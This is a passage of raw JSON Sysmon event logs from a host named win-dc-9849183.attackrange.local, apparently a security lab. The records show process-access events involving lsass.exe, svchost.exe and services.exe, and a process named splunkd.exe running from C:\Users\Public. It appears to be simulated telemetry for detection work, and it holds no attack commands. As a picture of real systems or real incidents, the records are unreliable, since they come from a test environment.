{90617006-3FDB-5F2D-0000-00107FF90100}\r\nSourceProcessId: 2948\r\nSourceThreadId: 2968\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","SourceProcessId":"2948","SourceThreadId":"2968","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.000\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.000","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.000\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1336\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.000","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1336","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.848\r\nProcessGuid: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nProcessId: 3024\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\System32\\svchost.exe -k smbsvcs\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.848","ProcessGuid":"{90617006-3FDD-5F2D-0000-00107FFE0100}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\System32\\svchost.exe -k smbsvcs","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 